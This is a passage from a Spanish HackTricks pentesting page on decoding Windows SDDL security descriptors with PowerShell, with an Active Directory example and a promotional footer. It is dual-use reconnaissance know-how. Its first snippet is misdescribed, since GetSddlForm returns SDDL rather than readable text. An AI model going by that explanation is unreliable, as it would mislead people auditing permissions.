pueden ser difíciles de entender y analizar para los pentesters. Afortunadamente, PowerShell proporciona una forma sencilla de convertir estas cadenas SDDL en un formato legible. El siguiente comando de PowerShell se puede utilizar para convertir una cadena SDDL en un formato legible: ```powershell $sddl = "cadena_sddl" $securityDescriptor = New-Object -TypeName System.Security.AccessControl.RawSecurityDescriptor -ArgumentList $sddl $securityDescriptor.GetSddlForm([System.Security.AccessControl.AccessControlSections]::All) ``` Reemplace "cadena_sddl" con la cadena SDDL que desea convertir. El comando creará un objeto `RawSecurityDescriptor` utilizando la cadena SDDL proporcionada y luego utilizará el método `GetSddlForm` para obtener la representación legible del descriptor de seguridad. Este comando puede ser útil para comprender rápidamente los permisos y configuraciones de seguridad definidos en una cadena SDDL, lo que facilita el análisis y la evaluación de la seguridad en un entorno de Windows. ```powershell PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" Propietario: BUILTIN\Administradores Grupo: BUILTIN\Administradores DiscretionaryAcl: {Everyone: AccesoDenegado (WriteData), Everyone: AccesoPermitido (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccesoPermitido (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccesoPermitido (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...} SystemAcl: {Everyone: AuditoríaDelSistema AccesoExitoso (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administradores: AuditoríaDelSistema AccesoExitoso (WriteAttributes), DOMAIN_NAME\Usuarios del dominio: AuditoríaDelSistema AccesoExitoso (WriteAttributes), Everyone: AuditoríaDelSistema AccesoExitoso (Traverse)...} RawDescriptor: System.Security.AccessControl.CommonSecurityDescriptor
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).